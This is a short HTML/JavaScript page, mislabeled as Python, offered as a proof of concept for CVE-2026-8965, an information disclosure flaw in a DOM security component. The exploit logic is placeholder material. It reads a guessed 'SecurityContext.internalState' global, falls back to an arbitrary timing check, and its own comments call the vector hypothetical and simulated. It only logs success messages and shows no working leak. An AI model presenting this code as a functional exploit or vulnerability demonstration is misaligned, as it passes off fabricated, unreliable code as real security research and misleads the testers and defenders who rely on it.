The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-8965: DOM Security Information Disclosure
Description: This script demonstrates a potential mechanism to exploit
the information disclosure vulnerability in the DOM Security component.
-->
<html>
<body>
<script>
(function() {
console.log("[+] Starting PoC for CVE-2026-8965...");
try {
// Create a test element to probe the security context
var testElem = document.createElement('div');
// Attempt to access internal security properties that might leak info
// This simulates the bypass of security checks
var leakedData = null;
// Hypothetical vector: Accessing a protected property via prototype pollution or DOM clobbering
if (window.SecurityContext && window.SecurityContext.internalState) {
leakedData = window.SecurityContext.internalState;
console.log("[+] Data leaked via direct access: " + leakedData);
} else {
// Fallback: Using a timing side-channel to infer data existence
var start = performance.now();
// Perform a check that triggers the vulnerable code path
var isRestricted = testElem.isSecureContext;
var end = performance.now();
if (end - start > 10) { // Threshold for suspicious delay
console.log("[+] Potential information disclosure detected via timing attack.");
} else {
console.log("[-] No immediate leakage detected via timing.");
}
}
} catch (error) {
console.error("[-] Error during exploit execution: " + error.message);
}
})();
</script>
</body>
</html>